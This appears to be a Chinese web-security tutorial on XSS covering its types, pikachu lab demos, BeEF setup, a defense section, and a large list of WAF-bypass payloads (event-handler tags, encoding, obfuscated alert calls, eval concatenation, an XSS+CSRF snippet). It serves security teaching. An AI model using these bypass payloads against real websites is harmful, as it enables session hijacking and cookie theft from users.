当前位置: 首页 > news >正文

【web安全】——XSS漏洞

1.XSS漏洞基础

1.1.漏洞成因

XSS(Cross-site scripting)被称为跨站脚本攻击,由于与层叠样式表的缩写一样,因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格,导致攻击者可以将恶意的is/html代码注入到网页中,当其他用户浏览这些页面时,就会执行其中的恶意代码。

1.2利用方式

利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript

类型,也包括iava、vbs、flash、html等。

1.3执行方式

用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否

恶意,只要符合语法规则,就直接解析了。

1.4攻击对象

客户端攻击,对象大多为用户,网站管理员。

还有微博,网页留言板,聊天室等收集用户输入的地方.。

2.漏洞危害

  • 网络钓鱼,盗取各种用户账户
  • 窃取用户的cookies资料,从而获取用户隐私信息。
  • 弹出广告页面,获取相关利益。
  • 劫持用户会话,执行任意操作。
  • 传播蠕虫病毒。

3.XSS漏洞挖掘

3.1可能存在XSS的漏洞页面

  • 高风险:评论区、留言区、个人信息修改、订单信息等
  • 中风险:站内信、通信、私信、反馈等。
  • 低风险:搜索框、UR、图片属性等。

3.2黑盒测试

通过查找一切用户可以输入并且控制输出到页面代码中的地方,例如:URL中的参数、URL链接、表单

输入框、评论区、个人信息修改等。

当在测试页面上提交以下代码,浏览器执行之后会出现弹窗,这是为了验证js代码是否被执行,代码被当做字符串输出在HTML页面上,浏览器当中的JavaScript解析器会根据

<script>alert(/xss/)</script> #比较常用

<script>confirm('xss')</script>

<script>prompt("xss")</script>

3.3白盒测试

关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。PHP中常见的接收参数的方式有$GET、$POST、$REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。

4.漏洞原理

4.1XSS分类

  • 反射型
  • 存储型
  • DOM型

4.2反射型XSS

4.2.1原理

反射型XSS也称作非持久型XSS、参数型跨站脚本。这类的跨站脚本最常见,也是最广泛的一种,主要用于将恶意脚本附加到URL的参数中诱导用户访问达到攻击的目的。这种类型的攻击通常发生在客户端上。

特点:

非持久性
参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器---->后端---->浏览器

4.2.2攻击位置

用户登录入口、网站搜索框等

4.2.3演示

当用户进行搜索时,返回结果通常包括用户的原始搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行,用户的信息就被窃取了,甚至还可以模拟用户进行一些操作。

以pikachu靶场演示

直接尝试注入,发现有长度限制

对长度进行修改后 注入<script>alert(1);</script> 成功执行我们输入的JavaScript代码

4.3存储型XSS

4.3.1原理

存储型XSS是将攻击脚本永远嵌入某一个页面中,当用户访问的时候就会触发执行,从而用户受到相关的攻击。并目该类型的攻击主要发生在服务端,所有用户访问该页面都将受到相应的攻击,所以也称之为持久型XSS。攻击流程如下:

  1. 攻击者利用网站的一个表单,将恶意字符串插入到网站数据库中。
  2. 受害者向网站请求页面。
  3. 网站在响应中引入恶意字符串,并把它发给受害者。
  4. 受害者浏览器执行响应中的恶意脚本,并把受害者的cookies发给攻击者服务器。

特点

危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

4.3.2攻击位置

论坛、博客、留言板、评论区等交互区。

4.3.3演示

提交后,每次访问这个页面,就会触发我们注入的代码

4.4DOM型XSS

什么是DOM?

DOM被称为文档对象模型,是一个平台和语言的接口,使得程序和脚本可以动态访问和更新文档的内容、结构和样式。DOM本身是一个表达XML文档的标准,HTML文档从浏览器的角度来说就是XML文档,有了这些技术之后,就可以通过js轻松访问到他们。DOM会将XML文件的节点构建成树状结构,以此反应XML文件本身的阶层结构。

4.3.1原理

客户端的脚本程序可以通过DOM动态地检查和修改页面内容。程序执行不依赖于服务器端的数据,从客户端获得DOM中的数据并在本地执行。浏览器用户可以操纵DOM中的一些对象,例如URL、location等。用户在客户端输入的数据如果包含了恶意is脚本,而这些脚本没有经过适当的过滤,应用程序就会受到基于DOM的XSS攻击。

这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析

攻击流程:

  1. 攻击者构造一个包含恶意字符串的URL并发给受害者
  2. 攻击者诱使受害者发起这个URL请求。
  3. 网站收到请求,但并没有在响应中引入该恶意字符串
  4. 受害者浏览器执行响应中的合法脚本,导致恶意脚本被插入到页面中。
  5. 受害者浏览器执行插入到页面中的恶意脚本,将受害者的cookies信息发给攻击者服务器

4.3.2攻击位置

4.3.3演示

观察标签可知,提交的内容不会和后端进行交互,直接传给前端。利用js的拼接符将提交的内容拼接到<a>标签中

因此可以想办法来对a标签的内容进行闭合,使用事件来完成对DOM树的操作,#'οnclick="alert(1)">,提交此内容后,a标签中的内容形成闭合,结果如下:

5.XSS平台使用

https://xss.yt/

xss测试平台,xss9.com

6.beef工具的使用

6.1在kali中打开beef

安装beef

apt-get update -y #更新仓库源

apt install -y beef-xss

使用教程:Beefxss使用教程图文教程(超详细)_怎么把beef改成公网ip-CSDN博客

7.XSS绕过waf

7.1冷门标签

img标签定义HTML页面中的图像

<img src=1 οnerrοr=alert(1);>(oneror为当出现错误时候触发)

<img src=1 οnerrοr=alert("xss");>

input标签规定了用户可以在其中输入数据的输入字段

<input οnfοcus=alert(1);>//可用来绕过WAF (onfocus焦点事件)

<input οnblur=alert(1)autofocus><input autofocus>//可用来绕过WAF

<input οnfοcus="alert(1);"autofocus>//可用来绕过WAF

iframe标签创建包含另外一个文档的内联框架

<iframe οnlοad=alert(1);></iframe> //可绕过WAF

video标签定义视频,比如电影片段或其他视频流,

<video><source οnerrοr=alert(1)>//可绕过WAF

audio标签定义声音,比如音乐或其他音频流

<audio src=x οnerrοr=alert(1);>//可绕过WAF

7.2冷门事件

1.FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件)

2.onAbort()(当用户中止加载图片时)

3.onActivate()(当对象激活时)

4.onAfterPrint()(用户打印或进行打印预览后触发)

5.onAfterUpdate()(从数据源对象更新数据后由数据对象触发)

6.onBeforeactivate()(在对象设置为激活元素前触发

7.onBeforecopy()(攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过执行

execCommand("copy")函数触发)

7.3等价函数替换

levell.php?name=<script>confirm("xss")</script>

levell.php?name=<script>prompt("xss")</script>

levell.php?name=<script>alert("xss")</script>

7.4编码绕过

使用char编码,Unicode编码,url编码,ASCII编码,base64编码尝试绕过

7.5变型

1、<imgl、<img src=x:alert(alt)οnerrοr=eval(src) alt=0>

2、<form><a href="javascript:\u006llert(1)">X

3、<script x> alert(1)</script 1=2

7.6alert混淆

(alert)(1)

a=alert,a(1)

[1].find(alert)

a1\u0065rt(1)

7.7空格绕过

<img src="javascript:alert('xss');">

<img src="java script:alert('xss');">

7.8注释绕过

<script>alert()</script>

<scri<!--1-->pt>alert()</sc<!--1-->ript>

7.9字符拼接

利用eval:eval是Javascript内置函数,用于计算字符串表达式的值

<img src="x"onerror "a= aler ;b=`t`;c='( xss );';eval(a+b+c)">

7.10js伪协议绕过

8.XSS+CSRF利用

存储型XSS攻击代码中加入CSRF代码。

<script src="x"οnerrοr=javascript:window.open("http://localhost/csrf.html")></script>

9.防御

  1. 白名单过滤:白名单过滤通过允许放行的内容进行过滤,这种情况下确实可以基本杜绝很多的XSS攻击,但是在现实环境中,可能会造成误拦截。
  2. 黑名单过滤:黑名单过滤是对相关关键字进行拦截,黑名单输入可能杜绝绝大XSS攻击,但是依旧存在被绕过的可能。
  3. http only属性:在服务端中设置会话cookie的HTTP only属性,这样客户端]S脚本就不能获取cookie信息,
  4. 明确输入内容:对用户输入的内容进行明确类型,如个人信息电话、数字、密码、邮箱地址等都位置都过滤一些不符合的
  5. 对不可信的内容都应该进行长度限制:例如电话号码11位,那么就设置11位,这样虽然不能百分百防止XSS攻击,但是可以增加XSS攻击实现的难度。
  6. 添加验证码、开启相关防护软件、WAF软硬件。

相关文章:

【web安全】——XSS漏洞

1.XSS漏洞基础 1.1.漏洞成因 XSS(Cross-site scripting)被称为跨站脚本攻击&#xff0c;由于与层叠样式表的缩写一样&#xff0c;因此被缩写为XSS.XSS漏洞形成的原因是网站/程序对前端用户的输入过滤不严格&#xff0c;导致攻击者可以将恶意的is/html代码注入到网页中&#x…...

JAVA基础语法 Day11

一、Set集合 Set特点&#xff1a;无序&#xff08;添加数据的顺序和获取出的数据顺序不一致&#xff09;&#xff0c;不重复&#xff0c;无索引 public class demo1 {public static void main(String[] args) {//1.创建一个集合//HashSet特点&#xff1a;无序&#xff0c;不重…...

知识图谱入门——7:阶段案例:使用 Protégé、Jupyter Notebook 中的 spaCy 和 Neo4j Desktop 搭建知识图谱

在 Windows 环境中结合使用 Protg、Jupyter Notebook 中的 spaCy 和 Neo4j Desktop&#xff0c;可以高效地实现从自然语言处理&#xff08;NLP&#xff09;到知识图谱构建的全过程。本案例将详细论述环境配置、步骤实现以及一些扩展和不足之处。 文章目录 1. 环境准备1.1 Neo4j…...

【AIGC】VoiceControl for ChatGPT指南:轻松开启ChatGPT语音对话模式

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;安装VoiceControl for ChatGPT插件&#x1f4af;如何使用VoiceControl for ChatGPT进行语音输入VoiceControl for ChatGPT快捷键注意点 &#x1f4af;VoiceControl for C…...

基于SpringCloud的微服务架构下安全开发运维准则

为什么要进行安全设计 微服务架构进行安全设计的原因主要包括以下几点&#xff1a; 提高数据保护&#xff1a;微服务架构中&#xff0c;服务间通信频繁&#xff0c;涉及到大量敏感数据的交换。安全设计可以确保数据在传输和存储过程中的安全性&#xff0c;防止数据泄露和篡改。…...

vue的图片显示

通过参数 调用方法 进行显示图片 方法一: 方法二:...

深度学习06:线性回归模型

线性回归&#xff1a;从理论到实现 1. 什么是线性回归&#xff1f; 线性回归是一种用于预测因变量&#xff08;目标值&#xff09;和自变量&#xff08;特征值&#xff09;之间关系的基本模型。它假设目标值&#xff08;y&#xff09;是特征值&#xff08;x&#xff09;的线性…...

Angular ng-state script 元素的生成机制介绍

ng-state 的生成过程是在 Angular SSR 中非常关键的部分。为了让客户端能够接管服务器渲染的页面状态&#xff0c;Angular 在服务器端需要将应用的当前状态保存下来&#xff0c;并将其嵌入到返回的 HTML 中。这样&#xff0c;客户端在接管时就可以直接使用这些状态&#xff0c;…...

小程序-全局数据共享

目录 1.什么是全局数据共享 2. 小程序中的全局数据共享方案 MboX 1. 安装 MobX 相关的包 2. 创建 MobX 的 Store 实例 3. 将 Store 中的成员绑定到页面中 4. 在页面上使用 Store 中的成员 5. 将 Store 中的成员绑定到组件中 6. 在组件中使用 Store 中的成员 1.什么是全…...

vSAN01:vSAN简介、安装、磁盘组、内部架构与调用关系

目录 传统的共享存储vSAN存储OSA的系统要求vSAN安装vSAN集群vSAN skyline healthvSAN与HA磁盘组混合磁盘架构全闪磁盘架构 vSAN对象vSAN内部架构 传统的共享存储 通过隔离的存储网络使得不同的ESXi主机访问独立的存储设备。需要前期投入较高的资金单独采购存储、网络可以单独规…...

Apache NiFi最全面试题及参考答案

目录 解释什么是Apache NiFi以及它的主要用途。 NiFi 的数据处理流程是怎样的? NiFi 的架构包括哪些组件? 解释 NiFi 的 “FlowFile” 概念及其组成部分。 NiFi 的 “Processor” 是什么?有哪些类型? 如何在 NiFi 中创建一个新的数据流? NiFi 的 “Connection” 有…...

基于Docker部署最新版本SkyWalking【10.1.0版本】

文章目录 前言前置条件一、创建Docker 网络二、部署 SkyWalking OAP 服务器三 部署 SkyWalking UI四 查看日志4.1. 查看 SkyWalking OAP 日志4.2. 查看 SkyWalking UI 日志 五 停止并删除容器结论 前言 由于本地的 JDK 版本与 SkyWalking 对应的 JDK 版本不一致&#xff0c;为…...

如何在 Ubuntu 18.04 上使用 LEMP 安装 WordPress

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 简介 WordPress 是互联网上最流行的 CMS&#xff08;内容管理系统&#xff09;。它允许您在 MySQL 后端和 PHP 处理的基础上轻松设置灵…...

shadcn-vue 快速入门(2)

components.json 关于项目配置 components.json 文件保存了项目的配置信息。 我们使用该文件了解项目的基本设定&#xff0c;并生成定制化的组件以适应项目需求。 注意&#xff1a;components.json 文件是可选的&#xff0c;仅在使用 CLI 向项目添加组件时才需要。如果使用复…...

Oracle数据恢复—异常断电导致Oracle数据库报错的数据恢复案例

Oracle数据库故障&#xff1a; 机房异常断电后&#xff0c;Oracle数据库启库报错&#xff1a;“system01.dbf需要更多的恢复来保持一致性&#xff0c;数据库无法打开”。数据库没有备份&#xff0c;归档日志不连续。用户方提供了Oracle数据库的在线文件&#xff0c;需要恢复zxf…...

数据结构-4.1.特殊矩阵的压缩存储

一.一维数组的存储结构&#xff1a; 1.知道一维数组的起始地址&#xff0c;就可以求出任意下标对应的元素所在的地址&#xff1b; 2.注&#xff1a;如果数组下标从1开始&#xff0c;上述公式的i就要改为i-1&#xff1b; 3.数组里的元素类型相同&#xff0c;因此所占空间也相同…...

Hive数仓操作(十四)

一、Hive的DDL语句 在 Hive 中&#xff0c;DDL&#xff08;数据定义语言&#xff09;语句用于数据库和表的创建、修改、删除等操作。以下是一些重要的 DDL 语句&#xff1a; 1. 创建数据库和表 创建数据库 CREATE DATABASE IF NOT EXISTS database_name;创建表 CREATE TABLE …...

SpringBoot技术:实现古典舞在线交流平台的秘诀

摘 要 随着互联网技术的发展&#xff0c;各类网站应运而生&#xff0c;网站具有新颖、展现全面的特点。因此&#xff0c;为了满足用户古典舞在线交流的需求&#xff0c;特开发了本古典舞在线交流平台。 本古典舞在线交流平台应用Java技术&#xff0c;MYSQL数据库存储数据&#…...

自动驾驶系列—全面解析自动驾驶线控制动技术:智能驾驶的关键执行器

&#x1f31f;&#x1f31f; 欢迎来到我的技术小筑&#xff0c;一个专为技术探索者打造的交流空间。在这里&#xff0c;我们不仅分享代码的智慧&#xff0c;还探讨技术的深度与广度。无论您是资深开发者还是技术新手&#xff0c;这里都有一片属于您的天空。让我们在知识的海洋中…...

YOLO11改进|卷积篇|引入可变核卷积AKConv

目录 一、AKConv卷积1.1AKConv卷积介绍1.2AKConv核心代码 五、添加MLCA注意力机制5.1STEP15.2STEP25.3STEP35.4STEP4 六、yaml文件与运行6.1yaml文件6.2运行成功截图 一、AKConv卷积 1.1AKConv卷积介绍 AKConv允许卷积参数的数量以线性方式增加或减少&#xff0c;而不是传统的…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻

在如今就业市场竞争日益激烈的背景下&#xff0c;越来越多的求职者将目光投向了日本及中日双语岗位。但是&#xff0c;一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧&#xff1f;面对生疏的日语交流环境&#xff0c;即便提前恶补了…...

【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15

缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下&#xff1a; struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...

【机器视觉】单目测距——运动结构恢复

ps&#xff1a;图是随便找的&#xff0c;为了凑个封面 前言 在前面对光流法进行进一步改进&#xff0c;希望将2D光流推广至3D场景流时&#xff0c;发现2D转3D过程中存在尺度歧义问题&#xff0c;需要补全摄像头拍摄图像中缺失的深度信息&#xff0c;否则解空间不收敛&#xf…...

全志A40i android7.1 调试信息打印串口由uart0改为uart3

一&#xff0c;概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本&#xff1a;2014.07&#xff1b; Kernel版本&#xff1a;Linux-3.10&#xff1b; 二&#xff0c;Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01)&#xff0c;并让boo…...

如何理解 IP 数据报中的 TTL?

目录 前言理解 前言 面试灵魂一问&#xff1a;说说对 IP 数据报中 TTL 的理解&#xff1f;我们都知道&#xff0c;IP 数据报由首部和数据两部分组成&#xff0c;首部又分为两部分&#xff1a;固定部分和可变部分&#xff0c;共占 20 字节&#xff0c;而即将讨论的 TTL 就位于首…...

RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程

本文较长&#xff0c;建议点赞收藏&#xff0c;以免遗失。更多AI大模型应用开发学习视频及资料&#xff0c;尽在聚客AI学院。 本文全面剖析RNN核心原理&#xff0c;深入讲解梯度消失/爆炸问题&#xff0c;并通过LSTM/GRU结构实现解决方案&#xff0c;提供时间序列预测和文本生成…...

蓝桥杯3498 01串的熵

问题描述 对于一个长度为 23333333的 01 串, 如果其信息熵为 11625907.5798&#xff0c; 且 0 出现次数比 1 少, 那么这个 01 串中 0 出现了多少次? #include<iostream> #include<cmath> using namespace std;int n 23333333;int main() {//枚举 0 出现的次数//因…...

LeetCode - 199. 二叉树的右视图

题目 199. 二叉树的右视图 - 力扣&#xff08;LeetCode&#xff09; 思路 右视图是指从树的右侧看&#xff0c;对于每一层&#xff0c;只能看到该层最右边的节点。实现思路是&#xff1a; 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...

小木的算法日记-多叉树的递归/层序遍历

&#x1f332; 从二叉树到森林&#xff1a;一文彻底搞懂多叉树遍历的艺术 &#x1f680; 引言 你好&#xff0c;未来的算法大神&#xff01; 在数据结构的世界里&#xff0c;“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的&#xff0c;它…...

C++实现分布式网络通信框架RPC(2)——rpc发布端

有了上篇文章的项目的基本知识的了解&#xff0c;现在我们就开始构建项目。 目录 一、构建工程目录 二、本地服务发布成RPC服务 2.1理解RPC发布 2.2实现 三、Mprpc框架的基础类设计 3.1框架的初始化类 MprpcApplication 代码实现 3.2读取配置文件类 MprpcConfig 代码实现…...